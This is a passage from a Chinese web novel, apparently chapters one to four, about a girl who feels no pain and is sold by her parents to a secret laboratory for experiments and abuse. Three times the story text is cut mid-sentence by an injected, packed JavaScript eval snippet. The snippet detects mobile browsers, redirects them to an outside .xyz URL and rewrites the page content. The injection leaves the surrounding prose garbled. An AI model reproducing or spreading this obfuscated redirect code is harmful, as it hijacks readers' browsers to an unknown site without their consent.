《逃出实验室后她杀疯了》 1. 基地 “落落呀,你一定要听他们的话知不知道?不要给陆先生添麻烦,你乖乖的,很快就能回家了……” “你要听话,千万不要闹脾气,学学你哥……” 兰落裹着外套坐在豪华汽车里,垂着眼睛听她妈在前排唠叨。 左耳进,右耳出。 兰落不在乎她妈说了什么,反正她已经要被送走了,没必要装母女情深。 她爸妈的母爱,从来只给一个人。 “到了。” 司机的声音闷在面罩里,没什么情绪。 兰落瞥了司机一眼,他穿着一套连体的防护服,脸上扣着金属的面罩,面罩下也许还有另一副口罩。 这样的穿搭有点奇怪,但并不稀罕。 自从几百年前的污染雨降临之后,这个世界就开始充满病毒,最开始大家也都谨小慎微地防护,不过随着人们越来越适应这种环境,防护的人也少了起来。 何况人们在几百年的变迁里,已经变异出了各种各样的异能。 这也是兰落今天坐在这里的原因。 她拥有不死——准确来说,是不痛的异能。 这是兰落天生的能力,小时候无论是摔跤还是受伤,她都一声不吭,安安静静看着血液流淌。 那时候她的父母只以为兰落性格内向安静,不爱喊痛。 后来才知道,原来她真的不痛。 至于他们是怎么知道的…… 兰落把拉链拉到下巴,不想回忆了。 脚下是平整的水泥地,往前几步就是一道大铁门,铁门里面是一座低层建筑。 兰落数了一下,好像只有两层。 这就是实验基地? 未免有些小了吧,还没教学楼大。 “你听见没……” “落落?落落!” 兰落回头,看见她爸妈有些惴惴不安的脸。 还有兰升那副丧气样子。 “怎么了?”她低声问。 兰父抓紧说:“你可要乖乖听话,按照陆先生说的做,结束了我们就接你回家,听到没?” 兰落没回答,看了一眼兰升。 他就要去最高军校上学了,那里的教学楼是不是格外宏伟,至少比这座荒无人烟的实验室大得多吧。 兰升的视线钉在地上,不肯看她。 “嗯。” 兰落收回思绪,温顺地点点头。 其实她没得选。 “兰落。” 一道温和的嗓音在不远处响起。 兰落抬起头,素白的脸上带着迷茫。 “陆先生?”兰父激动极了,连忙把兰落往前推,“对,我女儿兰落,今天开始就交给陆先生了。” 这就是他们嘴里的陆先生吗? 兰落偷偷打量他,把脸往领子里缩了缩,装出一副怯懦的样子。 陆先生很高,穿着一身妥帖的西装,头发梳理得一丝不苟,手里捏着一张手帕。 很古典的风格,像中世纪绅士,和旁边全副武装的司机形成鲜明对比。 陆先生朝他们点点头,很温和的样子。 可兰落看出来了,他的脚步停在那条黄色安全线内,一步也不肯往外移。 啊,安全线就是从前用来划分安全所的,污染雨来临的时候,躲在安全线内就可以防止被雨水污染。 不过现在的建筑基本都有防腐蚀功能,再加上一部分人有了异能根本不怕污染雨,这些安全线都处于半废弃状态。 看来这个陆先生也是个守旧派。 兰落不动声色向前几步,水润的眸子展现出恰到好处的恐惧不安:“您好,我是兰落。” “嗯,兰落。” 陆先生笑:“好孩子,来我这边。” 兰落回头看了一眼,陆先生发话后,她爸妈脸上难以抑制地出现了笑容。 从陆先生那拿到了那么多钱,能不笑吗? 兰落藏在衣领里的嘴唇嘲讽地勾了勾。 她一步一步走上前,细细的指节颤抖。 陆先生不动声色后退两步,抬起细软的手帕放在鼻尖下面。 “怕吗?”他居高临下看着兰落。 兰落揪着领子:“不怕。” “毕竟,”她羞涩地笑了笑,“我也想知道,我的异能到底是怎么回事。” 单纯的不痛,对她来说可不算好事。 兰落跟着陆先生走进安全线内,一直往大门走去。 司机小跑几步,拉开了沉重的白色巨门。 她看着空荡荡的建筑内部,还没来得及发问,身后就传来断断续续的哭声: “我的落落呀,这么小就独立了……” “你千万不要怕……” 兰落内心那点犹豫散了个干净,低着头快步走进了这座黑洞洞的实验室。 巨门缓慢合起,兰父兰母的哭声被隔绝在外。 光明消失的前一秒,兰落没忍住回头看了一眼。 兰升的目光透过门缝传进来,和她五分相似的眉眼里充满不舍。 “落落,哥哥等你!” “兰落,走吧。” 两道声音同时响起,兰落垂下眸子,顺从地跟在陆先生身后。 “陆先生……” “叫我陆观就好。” 兰落不动声色扫视着周围:“陆……观先生,这里为什么这么空荡?” 做研究的,不是应该有很多研究员和机器设备吗,为什么这里好像一个空壳,连光源都只有墙上昏暗的感控灯带。 陆观似乎很熟悉这里,闲庭信步:“怕了?” 兰落点头,声音颤抖:“怕。” 陆观停下来,回头看了她一眼,轻笑一声:“小可怜,来,抓住我的手。” 兰落看着近在咫尺的大手,略一犹豫,还是把左手放了上去。 她感受到自己的手被人虚虚握住。 陆观的手很细腻,有些凉,和他高大的样子不太匹配。 “到了。”他突然开口。 兰落抬头,看见一堵门,比刚刚进来的大门还要大,上面有各种形式的密码。 原来实验室另有乾坤,看来刚刚空荡的大厅只是为了掩人耳目。 陆观松开兰落的手,在门上随意摁了一下,厚厚的门板就滑开了,露出里面的景象。 门里面……还是个门? 兰落有些惊讶地看着门里面这条狭窄的白色通道,通道尽头是另一扇相同的门,除此之外什么都没有。 陆观没有解释,走进了通道。 兰落小心跟上,在她踏进通道的下一秒,身后的巨门就飞快合起,让通道变成一个密闭的空间。 出于安全考虑,兰落凑到了陆观身旁。 他好像误会了似的,抬手在兰落肩膀上轻拍两下:“别怕,消毒而已。” 话音刚落,通道两侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766442|174620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就涌起细细的雾气,逐渐包裹了整个通道。 兰落下意识屏住呼吸,观察到陆观神情自然地吸气,才慢慢放松下来开始呼吸。 怪不得这次陆观不嫌弃她了,原来是要直接给她消毒。 没多久雾气就散了,陆观娴熟地摁开第二扇门,兰落紧跟其后,终于看到了实验室的样子。 “好大……” 兰落控制不住地喃喃,瞪大了圆圆的眼睛。 她刚刚已经有了心理准备,预料到了实验室肯定不小,但她没想到,实验室竟然如此之大。 大到什么程度呢,她的面前是一条横着的走廊,走廊对面有几条分叉路,每条分叉路的宽度都足足有三车道那么宽,而分叉路的尽头,似乎又有其他的分叉。 如此庞大的底下研究基地……这该是什么样的财力才能做到啊! 兰落忍不住看一眼陆观,开始思考她爸妈到底拿到了多少钱。 她只知道陆观出手阔绰,但并不知道他给出的具体数额。 陆观察觉到她的视线,一边领路一边问:“怎么了,又怕了?” 兰落偷偷观察路线:“不,我只是想知道,你给了我爸妈多少钱。” 陆观愣了一下:“没多少,你的价值可不是金钱可以衡量的。” 是吗,她看他们明明就衡量得很好嘛。 迎面走来一个穿戴和司机类似的女人,冲着陆观比了个看不懂的手势:“陆先生,我来带她换洗。” 陆观对着兰落点点头:“去吧,换上制服。” 兰落没什么意见,在学校穿校服,在基地穿制服,很正常。 女人把兰落领到一间空房间:“你还没有身份,领不到专属浴室,这里是临时浴室,有新衣服,自己洗个澡换上衣服,我在门口等你。” 说完就翘着二郎腿坐在沙发上了。 原来是来摸鱼的,兰落看着紧闭的房门,耸耸肩去了浴室。 说是制服,其实看起来更像病号服,白色长袖配白色长裤,脚下一双白色拖鞋。 兰落看着镜子里的自己,洗过澡的皮肤更加苍白,几乎要和宽大的制服融为一体,只有头发泛着乌黑,半干不湿地挂在肩膀上。 她面无表情地推开房门,和走廊里的陆观迎面撞上。 兰落没想到他就在门口等自己,眨了眨眼:“抱歉,让你久等了。” 花钱买来的,果然要亲自看着才放心吧。 兰落内心嘲讽,面上却不显。 陆观上下扫视她几眼:“没事,跟我来吧。” 他带着她来到了一个类似大厅的地方,这里的墙上有很多电子屏,好几个步履匆匆的白衣研究员在其中穿梭,一个穿着兰落同款制服的高个子女人正坐在一张沙发上吃面包。 兰落注意到她的手臂上有几根线,连接到了电脑上。 “花子!别吃了!回你的房间!” 一个研究员看到了陆观,顿时瞪大眼睛,飞奔过来扯掉女人手臂的线,然后小跑到陆观面前。 “陆先生!” 兰落照样环视周围,无意中和女人对上了视线。 “又来一个。” 女人翘起嘴角舔了舔手臂上的血珠,张嘴说了几个字。 兰落一边听研究员报告听不懂的数据,一边眯着眼睛分辨她的口型: “短、” “命、” “鬼。” 她说。 2. 检查 短命鬼? 兰落皱了皱眉,视线跟着女人远去的背影。 不好意思,她别的不行,但命最长了。 真是很窝囊的能力。 兰落自嘲地笑了笑,继续听陆观他们讲话。 “……是,准备好了,单独的房间……” “隔得很远,不会有人干扰……” 好像在谈论她的房间。 兰落对房间倒还挺在意的,小时候兰家穷,她一直和兰升睡在一起,大了一点又上了寄宿学校,和各种舍友住在一起。 简而言之,从没有过独立的房间。 “今天就可以开始。” 兰落走了会儿神,回神时就听到陆观这句话。 开始什么? 她心里隐约有点预感,但谈不上害怕。 不会疼的人,很难会害怕。 陆观很快就走了,临走时很温柔地拍了拍她的脑袋。 兰落有些反胃,她不喜欢别人的触碰。 但她长相稚嫩无害,皱眉的样子看起来有些柔弱,所以研究员显然误会了,竟然假惺惺安抚她:“别怕,你没有痛觉是不是?那接下来就会舒服很多。” 好惊悚的话,他是怎么做到一脸笑意地说出这种话的? 兰落不好意思地对他笑了一下,把人设稳定得很好。 在变强之前,她会一直怂下去。 兰落躺在几乎有篮球场那么大的房间里,再一次感叹陆观的财大气粗。 挺好的,就算是小白鼠,她也是待遇最好的小白鼠。 她的床很大,色调和整个基地的风格一样,是冷白的。 兰落百无聊赖地躺着,开始分析自己的处境。 她知道自己被“卖”进实验室的时候,陆观的人已经守在兰家等着了,所以兰落没有办法,只能老老实实进来当小白鼠。 根据她白天观察到的基地情况,这里似乎没什么守卫,除了研究员就是和她一样的实验品了,安保靠的是墙角的机械眼和门口的几重密码锁加生物锁。 逃嘛,也许有可能,但不是现在。 现在她一没实力二不熟悉环境,逃跑就是自寻死路。 况且,也许实验室对她来说,反而是个暂时的保护所。 长相柔弱漂亮,拥有不痛的异能,还有着微弱的自愈能力,她不敢想自己留在外面会遭遇什么。 兰落不是没遇到过类似的事情,在寄宿学校里,就经常有人把她堵在角落,用美工刀划她的手臂,然后一脸惊奇地说: “操!这女的真不会痛!” “是不是伤口太浅了,划深点试试呢?” 兰落闭上眼,对他们的存在感到格外烦躁。 幸好他们已经不存在了。 睡前,她下意识在枕边摸索,枕头下却空空如也。 ——忘了,这里带不了东西,她不能服毒了。 第二天兰落是被昨天的女研究员叫醒的,她脱下了厚重的防护服,穿着一丝不苟的白大褂,鼻梁上架着金丝眼镜。 “准备一下,给你做全身检查。” 兰落顺从地跟着女人,没有多问。 走廊空荡荡的,陆观似乎有意把她和其他人分开,一路上连个人影都没看见。 做检查的地方是一间金属墙面的大房间,用透明玻璃一分为二,一个穿着同款白大褂的男人正坐在外间的椅子上转笔。 见到兰落,男人挑了挑眉:“这么小?” 兰落也在不动声色观察这个男人,他看起来很年轻,肤色有种不见光的苍白,嘴边挂着令人生厌的笑。 兰落发现他的头发有点凌乱,白大褂的扣子也散着,和身边的女研究员比起来格外吊儿郎当。 像个来凑数的关系户。 女研究员把兰落往玻璃隔间推:“你不用管这些,老实记录就行。” 男人把笔一扔,瘫在椅背上转了转,语气非常欠揍:“哈?我亲爱的大哥没有告诉你们,我这人最烦别人命令我吗?” 兰落缓慢推开金属门,竖起耳朵听。 女研究员嗤笑:“再烦,不也是老老实实地坐在这里了吗?” “是啊,”男人捡起笔,笑得眉眼弯弯,“再烦,你也老老实实给人当狗了。” 嚯,兰落忍不住多看他两眼。 “比不上你,陆家的野种小子。”女研究员说完就走了,似乎不屑与他争辩。 陆家? 原来真是关系户,兰落扫他两眼,不知是不是心理作用,竟然真觉得他和陆观长得有几分相似。 男人感受到她的视线,用笔点了点金属门:“看什么,进去吧,野种要给你做检查了。” 哪有这么说自己的,兰落忍着不适,关上了金属门,躺在窄窄的检查床上。 很快就有奇形怪状的东西覆盖住她,兰落陷入一片黑暗,耳边开始出现嗡嗡的机器声。 也不知过了多久,兰落眼前才恢复光亮,她不太适应地直视着刺眼的灯光,坐起身揉了揉眼睛。 “睡着了?” “那我再扫描一遍,你继续睡吧。” 男人的声音从四面八方响起,兰落吓了一跳,看他好像真的打算再启动一次机器,直接跳下床,用行动表示不需要。 她看见男人一脸遗憾地耸了耸肩,松开了手里的按钮。 兰落推开金属门,清了清嗓子:“请问,我的身体怎么样?” “不好。”男人看也没看电脑,在纸上飞快写着什么。 兰落故作害怕:“怎么会?那我身体出了什么问题?是不是我的异能有哪里不对劲?” 男人看她一眼,手上不停,抿着唇写了一会儿才皱着眉头开口:“瘦了。” “什么?”兰落懵了一下。 男人不看她,继续写写画画,然后摇头:“不好。” “……哪里不好?”兰落问。 “矮了。” ? 他在说什么鬼话? 兰落个子的确不算高,但也有一米六几,属于中等水平,何况她才十八岁,还有成长的空间,哪里就矮了? 不对,她都被这个神经病带偏了,重点是瘦不瘦矮不矮和检查结果有什么关系? 果然在任何地方都不要妄想关系户能认真干活。 兰落假装撩头发,趁机翻了个白眼,然后摆出不安的神色:“影响很大吗?” 她话音刚落,男人就把笔扔了,捏着手里的纸朝她快步走来。 兰落左脚后撤半步,肌肉绷紧,眼神瞄着门口,随时准备逃跑。 哪知男人把纸往她怀里一塞,头也不回地路过她,看都没看兰落一眼。 “送你了,回房间睡觉吧,我也要补觉了。” 兰落看着男人离开的背影,嘴角控制不住地抽搐两下。 她打开手里被揉成一团的纸,本以为能看到自己的身体数据,但上面只有一幅潦草的简笔画。 画上是一只肥嘟嘟的矮兔子,兔子的身形有着修改的痕迹,从略胖画成格外胖。 所以他刚刚说的是画? 神神叨叨的,神经病。 兰落观察了一下,男人在右下角附上了署名,笔迹龙飞凤舞,难以辨认。 她对着光线看了好半天,才勉强认出来一个“祝”。 哦,不姓陆啊。 兰落把纸团了团扔进垃圾桶,循着记忆走回房间睡觉了。 他们都不急,自己一个待宰羊羔有什么可急的? 男人的玩忽职守给她争取了不少安逸时光,直到三天后才有人再次找上她。 女研究员皱着眉头:“他说你身体素质不过关,所以我们养了你几天。” “现在呢,感觉怎么样?” 怪不得这几天伙食那么好,兰落摇摇头:“不知道,没感觉。” 女研究员眉毛皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766443|174620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得更深:“没办法了,直接上吧,陆……上面催得紧。” 兰落很善解人意地点头:“嗯,我理解的,姐姐也要交差。” 女研究员的眉头果然松动几分:“你倒还挺配合的。” “毕竟上面很严格吧,上次有个研究员,看到陆先生都吓坏了似的。” 兰落跟在女人身后,一脸不谙世事。 女人呵了一声:“摇尾巴的狗罢了。” 看来实验室里也颇有风云嘛,大家似乎互相看不顺眼呢。 兰落继续问:“还以为这里同事关系很好呢,原来和我在学校一样,到处都有不讨喜的人。” 女人看她一眼:“这可比学校恶心多了,至少学校不会活人解……” 女人说到一半突然顿了顿:“算了,你不用知道,按照要求做就行了。” 兰落把她的话在脑子里过了一下,她说的是“按要求”而不是“按她说的做”,也就是说,就算她很高傲,也没有什么实际指挥权。 那没事了,不用巴结她。 兰落敷衍地嗯嗯两声,乖顺地走到一间陌生房间。 房间门口贴着大大的“二号手术室”字样,磨砂的双开门虚掩着,露出里面闪动的人影。 有细微的呻吟从门缝钻出来,兰落舔了舔嘴唇,试图看清里面的景象。 一只手挡在了她的脸前:“不该看的别看。” 兰落听话地垂下眼睛,女研究员这才放下手,语气冰冷:“前面左转,一号手术室,进去就行。” 她这是不带路的意思? 兰落走了几步,突然怯怯回头:“那个,我能问问你的名字吗?” “我有点害怕。” “这里我就认识你一个人。” 女研究员愣了一下,抬手扶了扶眼镜:“我姓叶。” 兰落轻轻嗯了一下,转头就走。 “那个,”女研究员在身后开口,“出了手术室我会找个人照顾你。” 照顾? 这么严重吗? 兰落回头,只看见女研究员匆匆离去的背影。 她收回刚刚的话,姓叶的可以巴结一下,至少能给她提供一点便利。 躺上手术台后兰落没多害怕,反正疼痛的滋味她从没体会过,哪怕让她看着自己被剖开,也不会有什么感觉。 只不过她的愈合速度非常慢,和兰升比起来简直龟速。 相应的,兰升的痛觉非常灵敏,一点小伤口都能疼得他撕心裂肺。 所以兰落经常假装不小心弄伤他。 想到这里,兰落忍不住笑了两声,然后惬意地闭上了眼睛。 她丝毫没意识到自己浑身插满管子,用失血过多的脸惬意微笑的样子有多吓人。 “不行了?” “……这都不疼……” “不要缝合……观察自愈速度……” 迷蒙的困意中,兰落感受到自己被推出手术室,然后有人接过了自己。 她用尽力气睁眼,看见了一个眼熟的女人。 是骂她短命鬼的女人,好像叫花子。 “那个,”她喃喃,“我可不是短命鬼。” 兰落觉得自己可能失血过多脑子坏了,竟然会说这么中二的话。 花子粗鲁地推着轮椅,半昏迷状态的兰落几乎要被颠到地上。 “你以为,”花子把她推进房间,“活得久就是好事了吗?” 兰落没回答,眼睛一翻晕了过去。 等她醒来的时候,眼前就出现了一张放大的小白脸。 兰落脑子不太清醒,身体反应却很迅速,在睁眼的瞬间抬起布满刀口的右手。 “啪!” 姓祝的脸上顿时出现几道红痕。 “哇!”他捂着脸惊叹。 就在兰落以为他要生气的时候,男人的声音再次响起: “都这样了还能打人?好厉害!” 3. 巴掌 厉害个屁! 兰落在心里有气无力地吐槽,越发觉得这个姓祝的脑子应该不太正常。 她感受不到疼痛,但是可以通过肢体的无力程度来判断自己的状态。 老实说,不太好。 刚刚打他的那一下已经是极限了,现在别说挥巴掌,连动动手指都是难题,整个人像鬼压床了一样无法动弹。 兰落忍不住在心里骂陆观,这个狗东西到底有没有把她当人看,就连畜生也不至于下这么狠的手吧。 她努力看了自己一眼,觉得自己现在的样子和被改花刀的死鱼没什么区别。 “喂?活着吗?” 兰落闻言朝右边扭头,看见了花子带着嫌弃的脸。 “嗯。”她轻轻应了一声,声音细弱蚊蝇。 “喂?疼不疼?” 兰落把脑袋朝左一歪,又看见了姓祝的那张小白脸。 “不。”她又轻轻应了一声。 什么疼不疼的,他在说废话吧,这里谁不知道她是因为不会痛才被送进来的。 “长官,你给她检查检查呗,要是突然死在这了怎么办?” 花子坐得远远的,抖着二郎腿说。 “你这是诅咒。”姓祝的一本正经,但丝毫没有给她检查身体的意思。 花子撑着下巴:“都剌成这样了,你们真不担心?我可是被委派来照顾这短命鬼的,人死了我没法交差啊。” 兰落拧着眉头插话:“不用,我不会死。” “短命鬼,另有其人。” 花子脑袋凑过来,一脸好奇:“谁啊谁啊?除了你还有谁看着命更短啊?” 兰落呼出一口浊气,不想再说话。 她把头偏到左侧,刚好对着男人胸口的姓名牌,这次是统一打印的官方字体,很好辨认。 祝、见、尘。 原来这神经病叫祝见尘,名字不错,可惜被他糟蹋了。 祝见尘低头看看自己,发现了兰落的视线,抬手捂住自己的名字,懒洋洋地开口:“商业机密,禁止窥探。” 烦死了。 兰落眉头皱得可以夹死一只蚊子,她每次受伤都会变得很暴躁,似乎生理上的疼痛都转化成了情绪上的戾气。 “机密?关系户的机密吗?”她故作天真地发问,苍白的嘴唇勾出腼腆的笑。 祝见尘愣了一下,忽然笑起来:“羡慕吧,关系户哦,不用进手术台,不用被分尸。” “哦,忘了,”他弯唇一笑,“还不是尸体。” 兰落又想给他一巴掌了。 花子继续抖着腿:“你俩有仇?” “没仇。”祝见尘轻轻揉了揉兰落的脑袋,和刚才刻薄的样子判若两人。 “您真是和面包怪贱到一块去了。”花子说。 兰落挣开他,问:“面包怪是什么?” “大厅那个爱吃面包的狗腿子,见到上面的人就摇尾巴,见到下面的畜生就龇牙。” 花子嘿嘿一笑:“不过他很吃奉承,多夸夸他就能骗两个面包吃。” 兰落有印象了,面包怪应该就是第一天在陆观面前做汇报的那个男的。 花子越说越来劲,祝见尘也不知道什么时候走了,空旷的房间里回旋着女人不知疲惫的碎碎念,大多围绕着实验室里的八卦。 这个女人的生活应该很无趣。 兰落没把这话说出来,她现在动弹不得,没必要继续给自己拉仇恨。 刚刚刺祝见尘的话已经算出格了,幸好他只是口头报复了两句。 嘴皮子的伤害通通不算伤害。 她略显不安地沉睡过去,直到第二天下午才勉强清醒过来。 醒来后她的床头又站着一个男人。 兰落没想到花子还挺乌鸦嘴的,刚说完面包怪他就出现了。 “醒了?起来,跟我走。” 面包怪声音冷淡,既没有面对陆观的谄媚,也没有面对花子的趾高气扬,干巴得像在看一个死人。 “去哪里?”兰落朝被子里缩了缩,一脸柔弱地问。 面包怪声音没有起伏:“少问,听从指挥。” 兰落坐起身,视线环绕了一圈,没看到花子,不知道是照看任务完成了还是被支开了。 如果她没记错,面包怪似乎不负责自己的具体实验,只负责统筹记录吧? 兰落缓慢起身下床,不知道现在算是什么情况,就算实验再没有人性,也好歹要考虑一下实验体的承受能力吧。 她身上的伤只好了一半,如果重复上手术台,说不定以后要一直躺在床上等恢复。 面包怪似乎不耐烦了,一把扯住兰落的后领口:“就这还不死之力?” 兰落没什么力气,跌跌撞撞地被拉扯到门外,眼前开始发黑。 “面……长官,”熟悉的女声响起,“这是做什么?叶长官要我看着她呢,你带她走,我怎么办啊?” 兰落的左臂被花子一脸嫌弃地扯住,滑稽地吊在空中。 “滚回你的房间,谁允许你随意走动?要是下次再被陆先生发现你不守规矩,我饶不了你!”面包怪一脚踹在了花子侧腰上。 花子闷哼一声掉在墙角,捂着腰爬起来:“不好意思,不好意思长官,您随意您随意。” 兰落看着花子一气呵成的滑跪,心里倒是对她有些刮目相看了。 比她能演,是个好苗子。 面包怪骂骂咧咧地扯着兰落走过迂回的长廊,兰落半闭着眼睛,几乎开始认命。 窝囊废报仇十年不晚,大不了下次找机会毒死他。 就像那些把她堵在墙角的人一样。 正胡思乱想着自我安慰,兰落垂落的手腕上突然传来微凉的触感。 “干什么呢?这是要跟我抢活啊。” 懒散的声音响起,兰落睁开眼睛,果然看到了祝见尘那张欠揍的脸。 面包怪似乎也觉得他欠揍,咬着牙说:“祝少爷,我也是在为基地分忧。” 嘴上硬气,他的手却诚实地松开了兰落的衣领,失去着力点的她一下子半软在地,手腕高高举起,被祝见尘拽在手里。 祝见尘见状,“唰”一下扔掉了兰落的手,后退两步:“讹我?” 兰落还没来得及张嘴,面包怪就上赶着说:“既然祝少爷这么嫌弃,就把人交给我们处理吧,不要再插手。” “毕竟,您可是陆先生的亲弟弟。” 面包怪在“亲弟弟”几个字上加重了语气,显然是故意的。 祝见尘弯腰把兰落捞起来,看也没看面包怪,语气散漫:“好狗,会替主人操心了。” 兰落被他卡在臂弯里,半拖着往前走,闻言瞥了他两眼。 祝见尘嬉皮笑脸看着她:“没说你。” 兰落没回答,从祝见尘的肩膀边上往后看,果然看见面包怪怒气冲冲的背影。 看来欠揍也是种本领啊。 “那个抖腿怪让我来救你的。”祝见尘踢开房间门,把她轻轻扔在地毯上。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766444|174620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么抖腿怪?”兰落坐起来,理了理衣领,窝窝囊囊的很安心。 祝见尘蹲在门口:“就那个,说你是短命鬼那个人。” “哦,来了。”他朝门口点点下巴。 门口传来一瘸一拐的脚步声,花子的脸慢慢探出来:“还真把你捞回来了啊?” 听起来有点失望是为什么? 兰落站起身,随手把被弄得乱七八糟的头发往后拨了拨:“谢谢你们。” “真谢的话,让我住你这呗。”花子不见外地四处闲逛,嘴里啧啧称奇。 兰落视线一直谨慎地跟着她,嘴上却很天真:“为什么?你想和我做朋友吗?” “啥呀,”花子看也不看她,撅着屁股在衣柜里摸,“你这环境好,我们住得都是鸽子笼,哪有这么宽敞的套间。” 兰落看着她偷偷把摸出来的几颗香薰石藏进口袋里,无语的同时松了一口气。 “随你,反正我也做不了主。”兰落又把掉下来的头发往后拢了拢。 她的发质很软,平时都很顺滑地铺在脑后,但这阵子养伤耗费太多精力,发丝已经有些干枯毛躁了。 兰落一边啃干巴巴的饼干一边喝牛奶,完全没在意屋子是什么时候静下来的。 饼干是每天统一发放的,她昏迷的时候吃不了东西所以屯了不少,现在刚好消耗掉。 兰落自从来到这里就很少想到兰家人,但也许是饼干实在太难吃了,她竟然有那么一点点想兰升。 兰升虽然很讨厌,但厨艺很好。 就算是外面随便一个饭店,伙食都比这个破基地好一百倍。 她丢掉饼干,没滋没味地舔了舔嘴唇,抱着膝盖把自己团成一团。 兰落正想念着大餐,后颈突然传来一点痒意,她顿时汗毛直竖,飞快捂住后颈向后看。 祝见尘捏着发绳,一脸茫然地看着她。 “怎么了?你头发疼?” 兰落看见是他,莫名松了一口气,却还是没敢掉以轻心,后撤半步问:“你怎么在这里?” 祝见尘看鬼一样看她:“你失忆了还是我穿越了?我一直没走啊。” “抱歉,没注意,”兰落敷衍,“你想做什么?” 祝见尘举起手里的小兔子发绳:“给你扎头发怎么样?” “这里太无聊了,我都快发霉了,我们一起来玩你的头发吧。” 兰落摸了摸自己乱糟糟的头发:“不用。” “不喜欢兔子?”祝见尘像没听到似的,手腕一翻,兔子发绳就没了。 他的手里变戏法似的出现了各色各样的发绳:“樱桃的?草莓的?小猫的?还是说你喜欢威猛一点的?老鹰、狗熊……” 回答他的是兰落沉默的视线。 她的长相很无辜,沉默看人的时候,会天然地展现出可怜巴巴,像安静的兔子。 ——如果忽视她心里的恶毒吐槽。 祝见尘又一翻手,奇形怪状的发绳就消失了,他似乎被看得不好意思,摸摸鼻子:“不扎就不扎。” 兰落一直目送他出房门。 门锁“咔哒”一声,她才放松下来,盘腿坐在地毯上休息。 如果没看错的话,祝见尘手里的发绳似乎是凭空出现的,是他的异能吗? “咚咚咚!” 敲门声打断兰落的思绪,她站起身,不耐烦地拉开房门,扬起一个无害的笑: “祝……” “啪!” 巴掌重重地落在她脸上。 4. 挨打 兰落被打得偏向一边,脸上逐渐变得麻木。 门外不是她以为去而复返的祝见尘,而是一脸怒容的面包怪。 “祝?还真以为自己抱上大腿了?”面包怪收回手,居高临下站着,“我看你还敢不敢得意忘形!” 兰落摸了摸自己的脸,摸到一小片凸起,应该是肿了。 她还没来得及开口,面包怪又开始咬牙切齿:“姓祝的救得了你一时,救不了你一世,进实验室的第一天,你就该认识到自己的身份。” “当好一个听话的实验品,少拿自己当人看,也少不拿别人当人看。” 兰落算是明白了,面包怪这是对祝见尘嘲讽他的事情怀恨在心,不敢对关系户下手,只能来她面前耍威风了。 “我没有,”兰落回忆着花子认怂的样子,干巴巴认错:“我没有狗眼看人低。” “你说谁是狗!”面包怪却突然应激了,双眼瞪得溜圆,恶狠狠地揪住兰落的头发。 兰落头发被他攥住,被迫抬起脑袋,小脸苍白,眉毛紧紧皱着,看起来很痛苦的样子。 演的。 她根本没感觉。 兰落刻意把自己虚弱痛苦的脸对准了机械眼,单薄的身躯像蝴蝶翅膀一样颤抖着,昭示着她的恐惧和柔弱。 面包怪没等到她的认错,骂骂咧咧地把兰落的脑袋往墙上撞。 “砰!” 兰落额头立刻红肿一片。 “告诉你,这条走廊的机械眼由我控制,你可别想着告状!” 怪不得能准确地在祝见尘走后找到这里,原来是这样…… 兰落收回脸上无助的表情,把这件事记在了心里。 面包怪好像开始无聊了,撒开手随意地踢了她一脚,恰好踢到了心脏位置。 兰落的心脏被踹了一脚,竟然开始狂跳,以远高于正常心跳速度的频率撞击着她的胸腔,撞得兰落眼前发黑不停干呕。 她趴在地上捂住胸口,大口大口地喘气。 不知道为什么,兰落竟然能从心脏的跳动里读出它的意思,它似乎很不满自己挨揍了,激动地要和面包怪决一死战。 兰落死死摁住心脏,生怕它真把自己跳出来了。 现在还不是时候,少逞强。 面包怪朝地上啐了一口:“装个屁!不是不会疼吗?明天就把你剖了!” 说完还用力补了几脚,踹得兰落像片白色塑料袋,在地上转来转去。 面包怪最后一脚落下时,兰落的后脑狠狠撞上了柜门锋利的边角,金属的尖角刺进她的头皮。 门被恶狠狠关上,面包怪的脚步声逐渐远了,空荡的房间只有瘦弱的兰落躺在角落,浑身布满淤青,杂乱的头发盖在脸上,看不清神色。 有血流出来了,从她的后脑一点点蔓延,蜿蜒着把地毯晕染成黏糊糊的深色。 兰落感觉自己的后脑勺温热一片,肋骨可能也被踹断了,四肢更是伤痕累累,旧伤未愈又添新伤。 “迟早,”她喃喃,“让你死在我手里。” 剧烈跳动的心脏突然停滞,兰落眼皮一翻晕了过去。 窸窸窣窣的声音在她脑中钻来钻去。 “命悬一线,不死一现。” 好吵。 “屠神屠鬼屠手足,成神成鬼成永生。” 谁在说话? 兰落努力睁眼,却掉进另一重梦境。 梦里的一切都变成了扁平的简笔画,一个火柴人高举着一颗红彤彤的东西,兴高采烈地长大了嘴巴。 